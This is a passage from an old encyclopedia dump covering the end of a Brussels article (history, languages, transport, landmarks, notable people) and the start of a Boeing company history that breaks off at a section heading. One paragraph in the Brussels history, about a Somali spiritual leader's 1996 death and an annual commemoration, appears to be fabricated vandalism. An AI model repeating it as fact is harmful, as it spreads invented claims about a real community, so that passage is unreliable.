The highest building in Brussels is the [[South Tower (Brussels)|South Tower]] (150 m); the most famous probably the [[Atomium]], which is a remnant from the [[Expo '58]].

==Etymology==
The name Brussels comes from the old [[Dutch_language|Dutch]] ''Bruocsella'', ''Brucsella'' or ''Broekzele'', which means &quot;marsh (''bruoc'', ''bruc'' or ''broek'') home (''sella'' or ''zele'')&quot; or &quot;home in the marsh&quot;. &quot;Broekzele&quot; was spelt &quot;Bruxelles&quot; in French. In [[Belgian French]] [[pronunciation]] as well as in Dutch, the &quot;k&quot; eventually disappeared and &quot;z&quot; became &quot;s&quot;, as reflected in the current Dutch spelling. The names of all other municipalities in the [[Brussels-Capital Region]] are also of [[Dutch_language|Dutch]] origin, except for [[Evere]], which is of [[Celtic languages|Celtic]] origin.

==History==
[[Image:Palaisd'EgmontBrussels.jpg|thumb|right|200px|The ''Egmontpaleis'' or ''Palais d'Egmont'', seat of the Ministry of Foreign Affairs is a site for European diplomacy]]
[[Image:RoyalPalaceBrussel Copyright200406KaihsuTai.jpg|thumb|200px|right|The royal palace in Brussels]]
[[Image:Brusselsskyline.jpg|thumb|200px|right|Skyline of Brussels seen from the ''Kunstberg'' or ''Mont des Arts'']]
[[Image:Bruxelles Grande-Place.jpg|thumbnail|200px|right| Old houses on Brussels' Grand Place or ''Grote Markt'']]

In 977 AD, the [[Germany|German]] emperor [[Otto II]] gave the duchy of [[Lower Lotharingia]], the empire's western frontier to [[Charles, Duke of Lower Lotharingia|Charles]], the banished son of King [[Louis IV of France]].  Mention was already made of Brussels at the time. However, the founding of Brussels is usually known to happen when a small castle was built by Charles around 979 on an island (called Saint-Gery island) encompassed by the [[Zenne]] or [[Senne]]  river. At the end of the [[tenth century]], the county of Brussels was taken over by [[Lambert I of Leuven]].  Under [[Lambert II of Leuven]], a new [[castrum]] and the first city walls were built. The small town became in the [[12th century]] an important stop on the commercial road from [[Bruges|Brugge]] to [[Cologne]]. The Counts of [[Leuven]] became [[Duke of Brabant|Dukes of Brabant]] at about this time also (1183/1184). From 1357 to 1379, a new city enclosure was constructed as the former one was already proving to be too small: it is now known as the inner ring or pentagon. In the [[15th century]], by means of the wedding of heiress [[Margaret III of Flanders]] with [[Philip II, Duke of Burgundy|Philip the Bold, Duke of Burgundy]], a new Duke of Brabant emerged from the House of [[Valois Dynasty|Valois]] (namely [[Antoine, Duke of Brabant|Antoine]], their son), with another line of descent from the Habsburgs (Maximilian of Austria, later [[Maximilian I, Holy Roman Emperor]], was Philip's father).

In 1695 Brussels was attacked by general Villeroy of King [[Louis XIV of France]]. A bombardment destroyed the city's heart: more than 4000 houses were put to flame, including the medieval buildings at the [[Grand Place|Grote Markt]] or [[Grand Place]], except for the famous [[city hall]], which miraculously survived.

In 1830, the [[Belgian revolution]] took place in Brussels after a presentation of [[Daniel-Francois-Esprit Auber|Auber]]'s opera ''[[La Muette de Portici]]'' at [[La Monnaie|De Munt]] or [[La Monnaie]] theatre. On [[July 21]], [[1831]], [[Léopold I of Belgium|Léopold I]], the first King of the Belgians, ascended the throne, undertaking the destruction of the city walls and the construction of many buildings. Under [[Léopold II of Belgium|Léopold II]], the city underwent many more changes: the Zenne was culverted (as it brought diseases), the [[North-South Junction]] was built, and the [[Tervuren]] Avenue was laid out.

From [[May 10]], [[1940]], Brussels was bombed by the German army. Most of the damage was done however in 1944-1945. The [[Heysel Stadium disaster]] took place in Brussels on [[May 29]], [[1985]]. The [[Brussels Capital Region]] was founded on [[June 18]], [[1989]].

in [[1996]] Brussels gained an interesting importance for [[Somalian]] community in Belgium. The spiritual leader of [[Muslim]] [[Somalians]] in Europe, namely [[Al Siddik al Har'am]], died in a car accident in Brussels. The plot became a spiritual site for mourners. Now every year Somalians gather there on 7th of August and commemorate the accident.

==Linguistic situation==
The original languages of the Brussels area are [[Brabantic]] dialects of Dutch. A curiosity is &quot;Marollien&quot;, a Brussels dialect heavily influenced by [[Walloon]] which was spoken in a central section of the city.  Both Dutch and French have been in use for most of the city's history as official languages and were used by the upper classes.

During the 19th and the 20th century, as [[literacy]] progressed, [[dialect]]s started to lose ground to standardized languages.  In Brussels, most of the population adopted French rather than Dutch as its language of culture, since at the time, it was more prestigious and consequently considered more useful.  Today, the Brussels dialects are on the verge of extinction, although some try to revive them (see links).

Nowadays, the Brussels Capital Region is officially bilingual French-Dutch.  There are no official statistics on the first language of its population.  However, according to a 2001 study by Rudi Janssens, a sociolinguist at the [[VUB]], 8,5% of the Brussels population are native Dutch-speakers and 10 à 20% have both Dutch and French as a mother tongue. The same research shows that almost half of the population are native French-speakers. Allophones, who speak neither Dutch nor French at home, are a rapidly growing segment of the population. In reality, Brussels has become a multilingual city, rather than a bilingual one.

It should be noted that due to the growth of the city of Brussels, the periphery, which is part of Dutch-speaking [[Flanders]], attracts an important French-speaking population. In some of the municipalities immediately bordering the Brussels Capital Region, the majority of the population has become French-speaking, sometimes numbering over 70%. Some argue that these new inhabitants should adapt to their Flemish environment, others suggest the expansion of the Brussels Capital Region and its bilingual statute. According to the stance taken in the debate, the existing linguistic rights in the Brussels periphery are either interpreted as a help to facilitate the adaptation process, or as perpetual linguistic rights for francophones.

==Universities==
Brussels has several [[university|universities]], the [[Université Libre de Bruxelles]] (ULB), the [[Vrije Universiteit Brussel]] (VUB), the [[Facultés Universitaires Saint Louis]] (FUSL), the [[Katholieke Universiteit Brussel]] (KUB) and the [[Royal Military Academy (Belgium)|Royal Military Academy]] (RMA). A satellite campus of the [[Université catholique de Louvain]] (UCL) is also located in Brussels: it is called &quot;Louvain-en-Woluwe&quot; or &quot;UCL-Brussels&quot;, and hosts the faculty of Medicine of the university.

==Transport==
[[Image:Metro bruxelles station debrouckere.jpg|thumb|200px|Brussels metro (actually here ''premetro''), ''de Brouckère'' station]]
[[Image:Gare du Nord Nr 2.jpg|thumb|right|200px|Platforms at Brussels North station]]

'''Brussels''' is served by [[Brussels Airport|Brussels National Airport]], located in the nearby Flemish municipality of [[Zaventem]], and by [[Charleroi Brussels South|Brussels South Airport]], located near [[Charleroi]], some 80km from Brussels. Brussels' major train stations link the city to the [[United Kingdom]] by [[Eurostar]], and to major European cities by high speed rail links (such as the [[Thalys]]).

The [[Brussels metro]] dates back to [[1976]] (but underground lines known as ''premetro'' have been serviced by tramways since [[1968]]). A comprehensive bus and [[Brussels trams|tram network]] also covers the city.  Brussels also has its own port on the [[Willebroek]] canal located in the city's northwest.  

There are four companies managing public transport inside Brussels:
* STIB/MIVB (metro, bus, tram)
* SNCB/NMBS (train)
* [[De Lijn]] (buses based in Flanders)
* TEC (buses based in Wallonia)
An interticketing system means that a STIB/MIVB ticket holder can use the train or long-distance buses inside the city. The commuter services operated by De Lijn, TEC and SNCB/NMBS will in the next few years be augmented by an [[RER]] rail network around Brussels.

===Railway stations===
The major stations in Brussels are on the [[North-South Junction]]:
* [[North station (Brussels)|Brussels North]] (Dutch: ''Brussel-Noord'', French: ''Gare du Nord'')
* [[Central station (Brussels)|Brussels Central]] (Dutch: ''Brussel-Centraal'', French: ''Gare Centrale'')
* [[South station (Brussels)|Brussels South]] (Dutch: ''Brussel-Zuid'', French: ''Gare du Midi'' or ''Bruxelles-Midi'') (the [[Eurostar]], [[Thalys]], HST or [[TGV]] and [[InterCity Express|ICE]] international terminal)

Two more stations serve the [[EU]] district in Brussels. Trains towards [[Namur (city)|Namur]] and [[Luxembourg]] call at:
* [[Brussels Luxembourg railway station|Brussels Luxembourg/Luxemburg]]
* [[Schuman station|Brussels Schuman]]

The last two stations located in the municipality of Brussels (they also are on the North-South Junction and operate only in rush hours) are:
* Brussels Congress (French: ''Bruxelles-Congrès'', Dutch:''Brussel-Congres'')
* Brussels Chapel (French: ''Bruxelles-Chapelle'', Dutch: ''Brussel-Kapellekerk'')

Other railway stations in other Brussels municipalities include :
* Schaarbeek (French: ''Schaerbeek'')
* Etterbeek
* Ukkel Stalle (French: ''Uccle Stalle'')
* Ukkel Kalevoet (French: ''Uccle Calevoet'')
* Jette
* [[Mérode station|Merode]]
* [[Delta station|Delta]]
* Sint-Job (French: ''Saint-Job'')
* Vorst Oost (French: ''Forest Est'')
* Vorst Zuid (French: ''Forest Midi'')
* Sint-Agatha-Berchem (French: ''Berchem Sainte-Agathe'')
* Sint-Gillis (French: ''Saint-Gilles'')
* Watermaal (French: ''Watermael'')
* Bosvoorde (French: ''Boitsfort'')
* Boondaal (French: ''Boondael'')
* Meiser

===Road network===
Brussels has an [[beltway|orbital]] [[motorway]], numbered ''R0'' (R-zero) and commonly referred to as the &quot;ring&quot; (French : ''ring'' Dutch: ''grote ring''). It is pear-shaped as the southern side was never built as originally conceived, owing to residents' objections.

The city centre, sometimes known as &quot;the pentagon&quot;, is surrounded by the &quot;small ring&quot; (Dutch: ''kleine ring'', French: ''petite ceinture''), a sequence of boulevards formally numbered ''R20''. These were built upon the site of the second set of city walls following their demolition. Metro line 2 runs under much of these.

On the eastern side of the city, the ''R21'' (French: ''grande ceinture'', no particular name in Dutch) is formed by a string of boulevards that curves round from Laken ([[Laeken]]) to Ukkel ([[Uccle]]). Some ''premetro'' stations (see [[Brussels metro]]) were built on that route. A little further out, a stretch numbered R22 leads from [[Zaventem]] to [[Sint-Job]].

==Conferences and world fairs==
Brussels hosted the third ''[[Congrès international d'architecture moderne]]'' in [[1930]].

Two world fairs took place in Brussels, the ''[[1935 world fair|Exposition universelle et internationale]]'' (1935) and the [[Expo '58]] in [[1958]]. The [[Atomium]], a 103 metre representation of an [[iron]] crystal was built for the Expo '58, and is still there.

Throughout [[2003]], Brussels celebrated native son [[Jacques Brel]] on the 25th anniversary of his death.

==See also==
===Places of interest===
{{Commons|Brussel|Brussels}}
*[[Atomium]]
*[[Mini-Europe]]
*''[[La Bourse]]'' (Dutch: ''De Beurs'')
*''[[Grand-Place]]'' (Dutch: ''Grote Markt'')
*[[Heysel]] (Dutch: ''Heizel'')
*[[Jeanneke Pis]]
*[[Basilica of the Sacred Heart, Belgium|Basilica of the Sacred Heart]] in Koekelberg
*[[The Jubilee Arch]] (French: ''Les Arcades du Cinquantenaire'', Dutch: ''Triomfboog'')
*[[Manneken Pis]]
*[[De Munt]] (French: ''[[La Monnaie]]'')
*[[Saint Michael and Saint Gudula Cathedral]]
*[[The Floral Carpet]] (not permanent)
*[[Tour et Taxis]]
*[[Palais Stoclet]] (Dutch: Stoclethuis)
*[[Maison Horta]] (Dutch: Hortahuis)

===Notable parks===
[[Image:Brussels - Grand Place, Floral Carpet - 20040813 modified.jpg|thumb|right|The Floral Carpet on the &quot;Grote Markt&quot; in 2004]]
* ''[[Parc de Bruxelles (Brussels)|Parc de Bruxelles]]'' (Dutch: ''Warandepark''), wrongly called ''Parc Royal'' (Dutch: ''Koninklijk Park'')
* ''[[Bois de la Cambre]]'' (Dutch: ''Ter Kamerenbos'')
* ''[[Cinquantenaire]]'' (Dutch: ''Jubelpark'')
* ''[[Parc de Laeken]]'' (Dutch: ''Park van Laken'')
* ''[[Parc de Woluwe]]'' (Dutch: ''Park van Woluwe'')
* ''[[Parc Josaphat]]''
* ''[[Parc Roi Baudouin]]'' (Dutch: ''Koning Boudewijnpark'')
* ''[[Kauberg]]''
* ''[[Jardin botanique]]''
* ''[[Parc Léopold]]'' (Dutch: ''Leopoldpark'')
* ''[[Jardins du Maelbeek]]''
* ''[[Parc Duden]]''
* ''[[Parc Astrid]]''

===Notable people from Brussels===
See also: [[Notable people from Brussels]]
* [[Pierre Alechinsky]], artist
* [[Plastic Bertrand]], musician
* [[Jacques Brel]], musician
* [[Michel De Ghelderode]], dramatist
* [[Marc Didden]], film director
* [[Gudula|Saint Gudulae of Brussels and Eibingen]], Saint of the city and national saint of Belgium
* [[Audrey Hepburn]], actress
* [[Hergé]], [[Franco-Belgian comics|comics]] writer
* [[Victor Horta]], [[Art Nouveau]] architect
* [[Jacky Ickx]], racing driver
* [[Paul-Emile Janson]], politician, former Prime Minister of [[Belgium]]
* [[René Magritte]], painter
* [[Amélie Nothomb]], writer
* [[Peyo]] (Pierre Culliford), illustrator and creator of the [[Smurfs]]
* [[François Schuiten]], [[Franco-Belgian comics|comics]] artist
* [[Paul-Henri Spaak]], politician, several times Minister of Foreign Affairs and Prime Minister of [[Belgium]], former Secretary General of the [[NATO]]
* [[Toots Thielemans]], jazz musician
* [[Jean-Claude Van Damme]], actor; nickname: &quot;The Muscles from Brussels&quot;
* [[Marguerite Yourcenar]], writer and first female member of [[Academie Française]]

===Sports clubs===
* [[R.S.C. Anderlecht]], [[football (soccer)|football]]
* [[F.C. Molenbeek Brussels Strombeek]], football
* [[R. Union Saint-Gilloise]], football
* [[R.R.B.C. Brussels]], [[basketball]]

===Concert halls===
* [http://www.abconcerts.be Ancienne Belgique]
* [http://www.beursschouwburg.be Beursschouwburg]
* [http://www.botanique.be Botanique]
* [http://www.botanique.be Cirque Royal (Dutch: Koninklijk Circus), a dependency of Botanique]
* [http://www.senghor.be Espace Senghor]
* [http://www.flagey.be Flagey]
* [http://www.vorstnationaal.be Vorst Nationaal (French: Forest National)]
* [http://www.halles.be Halles de Schaerbeek (Dutch: Hallen van Schaarbeek)]
* [http://vaartkapoen.vgc.be/ Vaartkapoen]

===Museums===
* Royal Museums of Fine Arts
* Palace of Fine Arts (Paleis voor Schone Kunsten - Palais de beaux-arts)
* Film Museum
* Musical Instrument Museum (MiM)
* National Army Museum
* National Museum for Arts and History
* Comic Book Museum (Musée de la BD - Stripmuseum) 
* [[Royal Belgian Institute of Natural Sciences]]
* [[Royal Museum for Central Africa]] (in [[Tervuren]])
* [http://www.museedujouet.be''Brussels' toys museum'] (only available in French at the moment)

===Other===
* [[List of Minister-Presidents of Brussels]]
* [[Brussels sprout]] - the vegetable named after the city
* [[Art Nouveau]]
* [[List of metro stations of Brussels]]
* [[Sonian Forest]]
* [[Memorial van Damme]]
* [[Eurovision Song Contest 1987]]

==External links==
{{sisterlinks|Brussels}}
* [http://www.bruxelles.irisnet.be/ Brussels-Capital Region], official site
* {{wikitravelpar|Brussels}}
* [http://www.brussels.org/ Brussels.org], Useful addresses for tourists in Brussels.
* [http://www.500.be Chamber of Commerce and Industry of Brussels] (French: ''Chambre de Commerce et d'Industrie de Bruxelles'' or ''CCIB'', Dutch: ''Kamer voor Handel en Nijverheid van Brussel'' or ''KHNB'')
* Transport
** [http://www.brusselsairport.be/ Brussels Airport], at Zaventem
** [http://www.charleroi-airport.com/BSCA/siteEN.nsf/.Accueil?Readform Brussels South Airport], near Charleroi
** [http://www.planitram.be/ Planitram] Public transport in the Region of Brussels Capital, unofficial site (in English and French)
* Maps
**[http://www.hot-maps.de/europe/belgium/brussels/homeen.html Map]
**[http://www.ilotsacre.be/site/en/default_en.htm Interactive map of Brussels city centre]
* Museums
**[http://www.fine-arts-museum.be/ Royal Museums of Fine Art of Belgium]
*Dialect
**[http://www.avhb.be/publicaties/publicaties.asp Academie van het Brussels]
**[http://www.cyberbruxelles.be/cyberbruxelles/ADIPB.html Académie pour la Défense et l'Illustration du Parler Bruxellois] (Marollien)
* [http://20kmdebruxelles.be/20km/set_en.htm 20km of Brussels] - every year there is a spectacular run with 25,000 runners running 20km
* [http://www.ommegang.be/ Ommegang Festival]


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    </revision>
  </page>
  <page>
    <title>Boeing</title>
    <id>3709</id>
    <revision>
      <id>42140955</id>
      <timestamp>2006-03-04T02:18:12Z</timestamp>
      <contributor>
        <ip>67.182.143.126</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = The Boeing Company |
  company_logo   = [[Image:Boeing-Logo.svg|240px|center|The 1997 logo combines the Boeing typeface with the McDonnell Douglas logo]] |
  company_type   = [[Public company|Public]] ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=BA BA]) |
  company_slogan = &quot;Forever new frontiers&quot; |
  foundation     = 1916 (in 1917, company took on current name), [[Seattle, Washington]] |
  location       = [[Chicago, Illinois]], [[USA]] |
  key_people     = [[Jim McNerney]], CEO |
  num_employees  = 152,091 (1/9/05)|
  industry       = [[Aerospace]] and [[Arms industry|defense]]  |
  products       = Commercial airliners&lt;br&gt;Military aircraft &lt;br&gt;Munitions&lt;br&gt;Space systems |
  revenue        = $52.45 billion [[United States dollar|USD]] ([[Fiscal year|FY]] [[2004]])&lt;br&gt;({{profit}}$1.95B)|
  homepage       = [http://www.boeing.com/ www.boeing.com]
}}

'''The Boeing Company''' ({{nyse|BA}})({{tyo|7661}}) is the world's largest [[aircraft manufacturer|aircraft]] and [[aerospace manufacturer|aerospace]] manufacturer,  headquartered in [[Chicago, Illinois|Chicago]], [[Illinois]],  with its largest production facilities in [[Everett, Washington|Everett]], [[Washington]], about 30 miles north of [[Seattle, Washington|Seattle]], Washington. It is also the second-largest [[defense contractor]] in the world {{ref|contractor}}, and was in 2005 the world's largest civil aircraft manufacturer in terms of value (but 49 % of orders and 45% of deliveries), overtaking [[Airbus]] for the first time since 2000. It is also the largest exporter in the world. Boeing's stock is a component of the {{DJIA}}.

Boeing's two principal divisions are [[Boeing Integrated Defense Systems]] (IDS), responsible for military and space products, and [[Boeing Commercial Airplanes]] (BCA), responsible for civil airliners. (A full list of [[Boeing#Divisions|subsidiaries]] is included below.)
{{TOCleft}}
==History==
=== Before 1950s ===
The company was founded in Seattle by [[William E. Boeing]] on [[July 15]], [[1916]], together with [[George Conrad Westervelt]], a [[United States Navy|U.S. Navy]] engineer, and was named &quot;B&amp;W&quot; after their initials. Soon the name was changed to &quot;Pacific Aero Products&quot; and, in 1917, the company became the &quot;Boeing Airplane Company.&quot; William E. Boeing had studied at [[Yale University]] and worked initially in the [[timber]] industry, where he became a rich man. There he also acquired knowledge about [[wood]]en structures which was later revealed to be of value for the design and assembly of [[airplane]]s.

In 1927, Boeing created an airline, named Boeing Air Transport (BAT). A year later, BAT, as well as [[Pacific Air Transport]] and Boeing Airplane Company merged into a single corporation. The company changed its name to United Aircraft And Transport Corporation in 1929 and acquired [[Pratt &amp; Whitney]], [[Hamilton Standard|Hamilton Standard Propeller Company]], and [[Chance Vought]]. United Aircraft then purchased [[National Air Transport]] in 1930. The [[Air Mail Act]] of 1934 prohibited airlines and manufacturers from being under the same corporate umbrella, so the company split into three smaller companies - Boeing Airplane Company, [[United Airlines]], and [[United Aircraft Corporation]], the precursor to [[United Technologies]]. As a result, Bill Boeing sold off his shares.

[[Image:Boeing314.jpg|frame|The Boeing 314 Clipper.]]
Shortly after, an agreement with [[Pan American World Airways]] was reached, to develop and build a commercial flying-boat able to carry passengers on transoceanic routes. The first flight of the [[Boeing 314|Boeing 314 Clipper]] was in June 1938. It was the largest civil aircraft of its time, with a capacity of 90 passengers on day flights, and of 40 passengers on night flights. One year later, the first regular passenger service from the US to the [[United Kingdom|UK]] was inaugurated. Subsequently other routes were opened, so that soon Pan American flew with the Boeing 314 to destinations all over the world.

In 1938, Boeing completed work on the [[Boeing 307|Model 307 ''Stratoliner'']]. This was the world's first pressurized-cabin transport aircraft, and it was capable of cruising at an altitude of 20,000 feet. &amp;mdash; above most weather disturbances.

During [[World War II]], Boeing built a huge number of [[bomber]]s. Many of the workers were women whose spouses had gone to war. In the beginning of March 1944, production had been scaled up in such a manner that over 350 planes were built each month. To prevent an attack from the air, the plants had been covered with greenery and farmland items. During these years of war the leading aircraft companies of the US cooperated. The Boeing-designed [[B-17 Flying Fortress|B-17]] bomber was assembled also by [[Lockheed Corporation|Lockheed Aircraft Corp.]] and [[Douglas Aircraft Company|Douglas Aircraft Co.]], while the [[B-29 Superfortress|B-29]] was assembled also by [[Bell Aircraft Corporation|Bell Aircraft Co.]] and by [[Glenn L. Martin Company|Glenn L. Martin Co.]]

After the war, most orders of bombers were canceled and 70,000 people lost their jobs at Boeing. The company aimed to recover quickly by selling its [[Stratocruiser]], a luxurious four-engine commercial [[airliner]] developed from  a military aircraft. However, sales of this model were not as expected and Boeing had to seek other opportunities to overcome the situation. The company successfully sold military aircraft adapted for troop transportation and for [[aerial refueling]].

[[Image:Boeing707.jpg|frame|The Boeing 707.]]

=== 1950s ===
In the mid-1950s technology had advanced significantly, which gave Boeing the possibility to develop and manufacture totally new products. One of the first was the guided short-range [[missile]] used to intercept enemy aircraft. At that time the [[Cold War]] had become a fact to live with, and Boeing used its short-range missile technology to develop and build an intercontinental missile.

In 1958, Boeing began delivery of its [[Boeing 707|B707]], the United States' first commercial [[jet airliner]], in response to the [[United Kingdom|British]] [[De Havilland Comet]],[[France|French]] [[Sud Caravelle]] and [[Soviet Union|Soviet]] [[Tupolev Tu-104]]; which were the world's first generation of commercial jet aircraft. With the B707, a four-engine, 156-passenger airliner, the US became leaders in commercial jet manufacture. A few years later, Boeing added a second version of this aircraft, the [[Boeing 720|B720]] which was slightly faster and had a shorter range. A few years later, Boeing introduced the [[Boeing 727|B727]], another commercial jet airliner of similar size, which had however three engines and was designed for medium-range routes. The B727 was immediately well accepted as a comfortable and reliable aircraft by passengers, crews, and airlines. Although production was discontinued in 1984, at the turn of the millennium nearly 1,300 B727s were still in service at airlines around the world.

=== 1960s ===
The [[Piasecki Helicopter]] company was acquired by Boeing in 1960, and this became [[Boeing Vertol]]. The twin-rotor [[CH-47 Chinook]], produced by Vertol, took its first flight in 1961. This heavy-lift [[helicopter]] remains a work-horse vehicle up to the present day. In 1964, Vertol also began production of the [[CH-46 Sea Knight]].

[[Image:UA747.HNL.1973..reprocessed.arp.jpg|thumb|270px|The 707 and 747 formed the backbone of many major airline fleets through the end of the 1970s.]]
In 1967, Boeing introduced another short- and medium-range airliner, the twin-engine [[Boeing 737|B737]]. It has become since then the best-selling commercial jet aircraft in aviation history. The B737 is still being produced, and continuous improvements are made. Several versions have been developed, mainly to increase [[seating capacity]] and range.

The roll-out ceremonies for the first [[Boeing 747|747-100]] took place in 1968, at the massive new factory in [[Everett]]. The aircraft made its first flight a year later, and its first commercial flight occurred in 1970.

=== 1970s ===
In the beginning of the 1970s Boeing faced a new crisis. The [[Apollo program]] in which Boeing had participated significantly during the preceding decade was almost entirely cancelled. Once more, Boeing hoped to compensate sales with its commercial airliners. At that time, however, there was a heavy recession in the airlines industry so that Boeing did not receive one single order during more than one year. Boeing's bet for the future, the new [[Boeing 747|B747 Jumbo Jet]] was delayed in production and originated much higher costs than forecasted. Another problem was that, in 1971, the [[Congress of the United States|U.S. Congress]] decided to stop the financial support for the development of the [[supersonic]] [[Boeing 2707|2707]], Boeing's answer to the British-French [[Concorde]], forcing the company to discontinue the project. The company had to reduce the number of employees from over 80,000 to almost half, only in the Seattle area. In 1970 the first B747, a four-engine long-range airliner, finally entered service. This famous aircraft changed completely the way of flying, with its 450-passenger [[seating capacity]] and its upper deck. Until 2001, Boeing had been the only aircraft manufacturer to offer such an airliner and has delivered near to 1,400 units. ([[Airbus]] now offers the [[Airbus A380|A380]], which when delivered will be the largest operational airliner).  The B747 has undergone continuous improvements to keep it technologically up-to-date. Larger versions have also been developed by stretching the upper deck.

[[Image:Ba.b757-200.g-cpen.750pix.jpg|thumb|270px|The narrowbody Boeing 757 replaced the 707 and 727.]]

=== 1980s ===
In 1983, the economic situation began to improve. Boeing assembled its 1,000th B737 passenger airliner. During the following years, commercial aircraft and their military versions became the basic equipment of airlines and air forces. As passenger air traffic increased, competition was harder, mainly from a [[Europe|European]] newcomer in commercial airliner manufacturing, [[Airbus]]. Boeing had to offer new aircraft, and developed the single-aisle [[Boeing 757|B757]], the larger, twin-aisle [[Boeing 767|B767]], and upgraded versions of the B737. An important project of these years was the [[Space Shuttle program|Space Shuttle]], to which Boeing contributed with its experience in space rockets acquired during the Apollo era, in which the company also participated. Boeing participated also with other products in the space program, and was the first contractor for the [[International Space Station]]. At the same time, several military projects went into production, like the [[RAH-66 Comanche]] helicopter, the Avenger air defense system and a new generation of short-range missiles. During these years, Boeing was very active upgrading existing military equipment and developing new ones.

[[Image:Boeing777.jpg|frame|The Boeing 777-200.]]

=== 1990s ===
In 1994, Boeing introduced its most modern commercial jet aircraft, the twin-engine [[Boeing 777|B777]], with a [[seating capacity]] of 390 passengers, in between the B767 and the B747. The longest range twin in the world, the B777 is one of a number of aircraft certified to fly routes over oceans and deserted zones (see [[ETOPS]]), and is being sold very successfully.  This aircraft, affectionately known as the &quot;triple seven,&quot; reached an important milestone by being the first airliner to be designed &quot;entirely by computer,&quot; i.e. by using [[computer-aided design|CAD]] techniques.  Also in the mid-1990s, the company developed the revamped version of the [[Boeing 737|B737]], known as the &quot;Next-Generation 737.&quot;  It has since become the fastest-selling version of the B737 in history. The &quot;Next-Generation 737&quot; includes the 737-600, the 737-700, the 737-800, and the 737-900.

In 1996, Boeing merged with [[Rockwell|Rockwell International Corp.]]&amp;rsquo;s aerospace and defense units. The Rockwell products became a subsidiary of Boeing, named Boeing North American, Inc. One year later, Boeing merged with [[McDonnell Douglas|McDonnell Douglas Corp.]] Following the merger between Boeing and McDonnell Douglas, the McDonnell Douglas MD-95 was renamed the Boeing 717, and the production of the MD-11 was stopped. Boeing introduced a new corporate identity with completion of the merge incorporating the Boeing typeface and a simplified version of the McDonnell Douglas logo.

===2000s===
In recent years Boeing has faced an increasingly competitive [[Airbus]], which offers some commonality between models and the latest [[fly-by-wire]] technology. From the 1970s Airbus has increased its family of aircraft to the point where they can now offer an aircraft in almost every class Boeing does. Indeed Airbus is now competing in markets that Boeing once had a monopoly over, e.g. the [[Airbus A320|A320]] has been selected by two [[low cost carrier|low-cost operators]] (the aircraft used by these airlines has traditionally been the 737) and the very large aircraft market, the [[Airbus A380|A380]]. The 747 is being cannibalized by healthy sales of Boeing's own competitor, the [[Boeing 777|777-300 Series]].

Currently, Boeing is planning to introduce five new aircraft, the [[Boeing 787|787 &quot;Dreamliner&quot;]], the ultra-long-range 777-200LR, the 737-900ER, 737-700ER and the [[Boeing 747|747-8]]. The Boeing 787 was formerly known as the Boeing 7E7, but the designation has since been changed. The Boeing 777-200LR has the longest range of any commercial aircraft, and is the first airliner to able to fly halfway across the planet with a commercially viable payload. The 777-200LR has completed flight-testing and certification, with the first aircraft due to be delivered to [[Pakistan International Airlines]] in 2006.  The 737-900ER, previously designated as the 737-900X is an improvement to the 737-900.  The current 737-900 model has limited range, and is limited in capacity such that it can not be flown in a high-density configuration, rather requiring a solidly two-class configuration.  The 737-900ER will extend the range of the 737-900ER to a similar range as the successful 737-800 with the capability to fly more passengers. The 747-8 will offer better efficiency and longer range. The passenger and cargo versions will be 12ft and 18ft longer respectively.

In 2004, Boeing canceled production of the 757 after more than a thousand were produced, with the last airplane going to Shanghai Airlines, in China. More advanced versions of the 737 were beginning to compete against the older design. Boeing also soon canceled the production of 717 due to slow sales, and the 767 is likely to cease production soon. However, if Boeing manages to win the contract for new USAF tankers, the 767 program might be saved. Boeing also is building an advanced version of the 747, the 747-8 [http://www.newairplane.com/], which will compete more closely with the Airbus A380. The aircraft was informally announced at the 2005 [[Paris Airshow]].

== Recent history ==
[[Image:787icelandair.jpg|thumb|270px|The [[Boeing 787]] &quot;Dreamliner&quot; is the company's newest commercial aircraft design.]]
After several decades of numerous successes, Boeing lost ground to Europe's Airbus and subsequently lost its position as market leader in 2003.  Multiple Boeing projects were pursued and then cancelled due to doubt for such projects in the market.  The [[Boeing Sonic Cruiser]] is among these projects.  It responded by running a huge [[advertising]] campaign to promote its new motto, &quot;Forever New Frontiers,&quot; and rehabilitate its image. Hopes are now focused on the newly-launched [[Boeing 787|787]] as a platform of total fleet rejuvenation. The plan almost worked and by the end of 2005 Boeing had re-established itself as a fierce competitor to [[Airbus]], narrowly loosing by less than 50 jets sold.

On [[October 10]] [[2001]], against fierce competition for the contract to the [[F-35 Joint Strike Fighter|JSF]], Boeing lost to rival [[Lockheed Martin]] in the multi-billion dollar contract. Boeing's plane was the [[X-32]], which lost out to Lockheed's [[F-35]] entrant. The X-32 may have been hampered by the requirement for a redesign after several flaws were found in the original concept.

In Early May 2004 Boeing announced that the 717, the last plane to be designed by McDonnell-Douglas, would cease termination by 2006.

On [[August 2]] [[2005]] Boeing sold its [[Rocketdyne]] rocket engine division to [[Pratt &amp; Whitney]].

In May 2005 Boeing announced its intent form a new company, [[United Launch Alliance]] with its competitor [[Lockheed Martin]].  The new company will be the sole provider of rocket launch services to the US government.  The joint venture is expected to be gain regulatory approval and be complete near the end of 2005.

=== &quot;Unethical conduct&quot; ===
In May 2003 the [[US Air Force]] announced it would lease 100 [[KC-767]] tankers to replace the oldest 136 of its [[KC-135]]s. The 10 year lease would give the USAF the option to purchase the aircraft at the end of the contract. In September 2003, responding to critics who argued that the lease was vastly more expensive than an outright purchase, the DOD announced a revised lease of 74 aircraft and purchase of 26.

In December 2003 the Pentagon announced the project was to be frozen while allegations of corruption by one if its former procurement staffers, [[Darleen Druyun]] (who had moved to Boeing in January) was investigated. The fallout of this resulted in the resignation of Boeing [[Chief executive officer|CEO]] [[Philip M. Condit]] and the termination of [[Chief financial officer|CFO]] [[Michael M. Sears]]. [[Harry Stonecipher]], former McDonnell Douglas CEO, replaced Condit.

Druyun pleaded guilty to inflating the price of the contract to favor her future employer and to passing information on the competing [[Airbus A330 MRTT]] bid (from [[EADS]]). In October 2004 she was sentenced to nine months in jail for corruption, fined $5,000, given three years of supervised release and 150 hours of community service.

In March 2005 the Boeing board forced [[President]] and CEO Harry Stonecipher to resign. Boeing said an internal investigation revealed a &quot;consensual&quot; relationship between Stonecipher and a female executive that &amp;#8220;violated the company's Code of Conduct&amp;#8221; and &quot;would impair his ability to lead the company.&quot;  [[James A. Bell]] served as interim CEO (in addition to his normal duties as Boeing's [[Chief financial officer|CFO]]) until the appointment of [[Jim McNerney]] as the new [[Chairman]], President, and CEO on [[June 30]], [[2005]].

=== Industrial espionage ===
